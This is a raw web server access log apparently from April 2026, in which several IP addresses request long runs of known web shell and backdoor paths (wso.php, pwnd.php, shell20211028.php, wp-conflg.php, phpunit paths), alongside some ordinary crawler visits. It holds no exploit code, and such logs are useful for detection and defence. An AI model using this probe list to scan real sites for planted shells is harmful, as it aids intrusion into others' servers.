795 "-" "-" 20.100.201.159 - - [19/Apr/2026:23:04:52 +0300] "GET /sim.php HTTP/1.1" 301 795 "-" "-" 20.100.201.159 - - [19/Apr/2026:23:05:02 +0300] "GET /bx.php HTTP/1.1" 301 795 "-" "-" 103.216.51.2 - - [19/Apr/2026:23:18:38 +0300] "GET //wp-json/wp/v2/posts HTTP/1.0" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 66.249.76.136 - - [19/Apr/2026:23:54:42 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 172.190.142.176 - - [19/Apr/2026:22:05:39 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [19/Apr/2026:22:05:43 +0300] "GET /adoms.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [19/Apr/2026:22:06:57 +0300] "GET /new.php HTTP/1.1" 301 795 "-" "-" 66.249.66.78 - - [19/Apr/2026:23:54:32 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.7680.177 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 216.244.66.194 - - [20/Apr/2026:00:31:04 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 172.190.142.176 - - [19/Apr/2026:22:07:07 +0300] "GET /aa.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [19/Apr/2026:22:07:11 +0300] "GET /jk.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [19/Apr/2026:22:07:59 +0300] "GET /wp-block.php HTTP/1.1" 301 795 "-" "-" 20.100.201.159 - - [19/Apr/2026:23:03:27 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.100.201.159 - - [19/Apr/2026:23:03:49 +0300] "GET /oh.php HTTP/1.1" 301 795 "-" "-" 20.100.201.159 - - [19/Apr/2026:23:04:05 +0300] "GET /lim.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [19/Apr/2026:22:05:58 +0300] "GET /dx.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [19/Apr/2026:22:06:47 +0300] "GET /new4.php HTTP/1.1" 301 795 "-" "-" 20.100.201.159 - - [19/Apr/2026:23:05:25 +0300] "GET /ext.php HTTP/1.1" 301 795 "-" "-" 43.159.152.184 - - [19/Apr/2026:23:34:04 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 66.249.66.76 - - [19/Apr/2026:23:54:42 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 43.133.91.48 - - [20/Apr/2026:00:19:56 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 172.190.142.176 - - [19/Apr/2026:22:06:17 +0300] "GET /file61.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [19/Apr/2026:22:06:40 +0300] "GET //rip.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [19/Apr/2026:22:07:42 +0300] "GET /wp-links-opml.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [19/Apr/2026:22:07:52 +0300] "GET /wp-class-atom.php HTTP/1.1" 301 795 "-" "-" 20.100.201.159 - - [19/Apr/2026:23:04:13 +0300] "GET /hex.php HTTP/1.1" 301 795 "-" "-" 20.100.201.159 - - [19/Apr/2026:23:04:15 +0300] "GET /wp-content/hex.php HTTP/1.1" 301 795 "-" "-" 20.100.201.159 - - [19/Apr/2026:23:04:17 +0300] "GET /gezdjgie.php HTTP/1.1" 301 795 "-" "-" 20.100.201.159 - - [19/Apr/2026:23:04:20 +0300] "GET /link.php HTTP/1.1" 301 795 "-" "-" 20.100.201.159 - - [19/Apr/2026:23:04:22 +0300] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "-" 66.249.66.77 - - [19/Apr/2026:23:54:32 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 192.253.209.164 - - [20/Apr/2026:01:23:55 +0300] "GET /bless.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:23:55 +0300] "GET /O-Simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:23:55 +0300] "GET /lock360.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:23:56 +0300] "GET /zwso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 192.253.209.164 - - [20/Apr/2026:01:23:56 +0300] "GET /chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:23:56 +0300] "GET /about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 192.253.209.164 - - [20/Apr/2026:01:23:57 +0300] "GET /admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 192.253.209.164 - - [20/Apr/2026:01:23:57 +0300] "GET /mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 192.253.209.164 - - [20/Apr/2026:01:23:57 +0300] "GET /.wp/wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:23:58 +0300] "GET /core.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 192.253.209.164 - - [20/Apr/2026:01:23:58 +0300] "GET /robots.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:23:58 +0300] "GET /inputs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 192.253.209.164 - - [20/Apr/2026:01:23:58 +0300] "GET /mini.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:23:59 +0300] "GET /goods.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:23:59 +0300] "GET /file5.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:23:59 +0300] "GET /ahax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 192.253.209.164 - - [20/Apr/2026:01:24:00 +0300] "GET /f35.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 192.253.209.164 - - [20/Apr/2026:01:24:00 +0300] "GET /simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:24:01 +0300] "GET /amax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:24:01 +0300] "GET /update/f35.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:24:01 +0300] "GET /wp-content/hello.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:24:02 +0300] "GET /wp-admin/maint/bootstrap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:24:02 +0300] "GET /themes/zMousse/otuz1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 192.253.209.164 - - [20/Apr/2026:01:24:02 +0300] "GET /wp-content/edit-wolf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 192.253.209.164 - - [20/Apr/2026:01:24:02 +0300] "GET /wp-content/plugins/ubh/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 192.253.209.164 - - [20/Apr/2026:01:24:03 +0300] "GET /wp-admin/images/bootstrap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:24:03 +0300] "GET /images/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:24:04 +0300] "GET /wp-content/plugins/seoplugins/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:24:04 +0300] "GET /wp-content/themes/pridmag/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 192.253.209.164 - - [20/Apr/2026:01:24:04 +0300] "GET /wp-content/plugins/linkpreview/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 192.253.209.164 - - [20/Apr/2026:01:24:04 +0300] "GET /admin/uploads/bn_1_1754420677.phtml HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:24:05 +0300] "GET /modules/mod_simplefileuploadv1.3/elements/udd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 192.253.209.164 - - [20/Apr/2026:01:24:05 +0300] "GET /wp-content/plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 192.253.209.164 - - [20/Apr/2026:01:24:06 +0300] "GET /wp-content/plugins/pwnd-1/pwnd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:24:06 +0300] "GET /wp-admin/css/colors/midnight/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:24:06 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/kill.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:24:06 +0300] "GET /wp-includes/style-engine/worksec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:24:07 +0300] "GET /wp-admin/images/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:24:07 +0300] "GET /wp-content/plugins/core-plugin/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:24:07 +0300] "GET /wp-content/plugins/envato-css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:24:08 +0300] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 192.253.209.164 - - [20/Apr/2026:01:24:08 +0300] "GET /uploads/94056-upload.phtml HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:24:08 +0300] "GET /index/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:24:09 +0300] "GET /tinyfilemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:24:09 +0300] "GET /js/bas.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:24:09 +0300] "GET /.well-known/pki-validation/moon.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:24:10 +0300] "GET /file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:24:10 +0300] "GET /wp-includes/js/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 192.253.209.164 - - [20/Apr/2026:01:24:10 +0300] "GET /wp-content/upgrade/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 192.253.209.164 - - [20/Apr/2026:01:24:11 +0300] "GET /buy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 192.253.209.164 - - [20/Apr/2026:01:24:11 +0300] "GET /wp-content/languages/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 192.253.209.164 - - [20/Apr/2026:01:24:11 +0300] "GET /wp-content/themes/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:24:11 +0300] "GET /wp-content/plugins/elementor/wp-wjvngrh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 192.253.209.164 - - [20/Apr/2026:01:24:12 +0300] "GET /wp-includes/IXR/fix.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:24:12 +0300] "GET /wp-includes/widgets/dyqvcfqv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 192.253.209.164 - - [20/Apr/2026:01:24:12 +0300] "GET /admin/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:24:13 +0300] "GET /wp-includes/images/smilies/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 192.253.209.164 - - [20/Apr/2026:01:24:13 +0300] "GET /wp-includes/js/crop/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 192.253.209.164 - - [20/Apr/2026:01:24:13 +0300] "GET /wp-includes/PHPMailer/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 192.253.209.164 - - [20/Apr/2026:01:24:14 +0300] "GET /wp-includes/PHPMailer/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:24:14 +0300] "GET /wp-includes/widgets/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 192.253.209.164 - - [20/Apr/2026:01:24:14 +0300] "GET /files/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:24:15 +0300] "GET /wp-includes/PHPMailer/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:24:15 +0300] "GET /inc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:24:15 +0300] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:24:16 +0300] "GET /filemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:24:16 +0300] "GET /cgi-bin/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:24:16 +0300] "GET /.well-known/pki-validation/admin.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:24:17 +0300] "GET /wp-includes/IXR/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:24:17 +0300] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 192.253.209.164 - - [20/Apr/2026:01:24:17 +0300] "GET /wp-includes/js/jquery/jquery.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 192.253.209.164 - - [20/Apr/2026:01:24:18 +0300] "GET /function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:24:18 +0300] "GET /wp-includes/block-supports/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:24:18 +0300] "GET /wp-signup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 192.253.209.164 - - [20/Apr/2026:01:24:18 +0300] "GET /wp-admin/network/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:24:19 +0300] "GET /admin/upload/css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:24:19 +0300] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 192.253.209.164 - - [20/Apr/2026:01:24:19 +0300] "GET /wp-admin/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:24:20 +0300] "GET /wp-content/plugins/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 192.253.209.164 - - [20/Apr/2026:01:24:20 +0300] "GET /wp-includes/blocks/table/int/tmpl/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 192.253.209.164 - - [20/Apr/2026:01:24:20 +0300] "GET /wp-l0gin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:24:21 +0300] "GET /wp-includes/js/jquery/suggest.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:24:21 +0300] "GET /new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:24:21 +0300] "GET /wp-content/plugins/pwnd-1/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:24:22 +0300] "GET /wp-includes/defaults.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:24:22 +0300] "GET /images/DJP9.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 192.253.209.164 - - [20/Apr/2026:01:24:23 +0300] "GET /wp-includes/customize/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 192.253.209.164 - - [20/Apr/2026:01:24:23 +0300] "GET /wp-admin/shell20211028.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 192.253.209.164 - - [20/Apr/2026:01:24:23 +0300] "GET /natural.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 192.253.209.164 - - [20/Apr/2026:01:24:24 +0300] "GET /item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:24:24 +0300] "GET /function/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:24:24 +0300] "GET /wp-includes/SimplePie/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 192.253.209.164 - - [20/Apr/2026:01:24:25 +0300] "GET /wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:24:25 +0300] "GET /wp-includes/theme-compat/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 192.253.209.164 - - [20/Apr/2026:01:24:25 +0300] "GET /about/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 192.253.209.164 - - [20/Apr/2026:01:24:26 +0300] "GET /wp-includes/Requests/index.php HTTP/1.1" 301 795 "-" 